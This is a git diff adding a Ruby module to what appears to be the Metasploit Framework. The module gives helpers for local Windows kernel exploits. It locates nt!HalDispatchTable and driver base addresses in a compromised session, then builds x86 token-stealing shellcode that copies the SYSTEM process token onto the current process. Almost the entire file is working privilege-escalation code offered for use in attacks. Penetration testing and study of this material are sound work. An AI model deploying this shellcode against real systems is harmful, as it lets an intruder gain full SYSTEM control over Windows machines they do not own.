diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb new file mode 100644 index 0000000000..8cdc7d88f2 --- /dev/null +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +module Msf +module Exploit::Local::WindowsKernel + + # + # Find the address of nt!HalDispatchTable. + # + # @return [Integer] The address of nt!HalDispatchTable. + # + def find_haldispatchtable + kernel_info = find_sys_base(nil) + vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}") + + hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) + if hKernel['return'] == 0 + print_error("Failed to load #{kernel_info[1]} (error: #{hKernel['GetLastError']})") + return nil + end + hKernel = hKernel['return'] + + halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable") + if halDispatchTable['return'] == 0 + print_error("Failed to retrieve the address of HalDispatchTable (error: #{halDispatchTable['GetLastError']})") + return nil + end + halDispatchTable = halDispatchTable['return'] + + halDispatchTable -= hKernel + halDispatchTable += kernel_info[0] + vprint_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}") + halDispatchTable + end + + # + # Find the load address for a device driver on the session. + # + # @param drvname [String, nil] The name of the module to find, otherwise the kernel + # if this value is nil. + # + # @return [Array, nil] An array containing the base address and the located drivers name. + # + def find_sys_base(drvname) + unless session.railgun.dlls.keys.include?('psapi') + session.railgun.add_dll('psapi') + session.railgun.add_function( + 'psapi', + 'EnumDeviceDrivers', + 'BOOL', + [ + ["PBLOB", "lpImageBase", "out"], + ["DWORD", "cb", "in"], + ["PDWORD", "lpcbNeeded", "out"] + ]) + session.railgun.add_function( + 'psapi', + 'GetDeviceDriverBaseNameA', + 'DWORD', + [ + ["LPVOID", "ImageBase", "in"], + ["PBLOB", "lpBaseName", "out"], + ["DWORD", "nSize", "in"] + ]) + end + + results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) + addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*") + + addresses.each do |address| + results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) + current_drvname = results['lpBaseName'][0..results['return'] - 1] + if drvname == nil + if current_drvname.downcase.include?('krnl') + return [address, current_drvname] + end + elsif drvname == current_drvname + return [address, current_drvname] + end + end + end + + # + # Generate x86 token stealing shellcode suitable for use when overwriting the + # halDispatchTable+0x4. + # + # @param target [Hash] The target information containing the offsets to _KPROCESS, + # _TOKEN, _UPID and _APLINKS. + # + # @return [String] The token stealing shellcode. + # + def token_stealing_shellcode_x86(target) + tokenstealing = "\x52" # push edx # Save edx on the stack + tokenstealing << "\x53" # push ebx # Save ebx on the stack + tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 + tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD + tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS + tokenstealing << "\x8b\xc8" # mov ecx, eax + tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN + tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) + tokenstealing << "\x75\xe8" # jne 0000101e ====================== + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX + tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS + tokenstealing << "\x5b" # pop ebx # Restores ebx + tokenstealing << "\x5a" # pop edx # Restores edx + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + tokenstealing + end + +end +end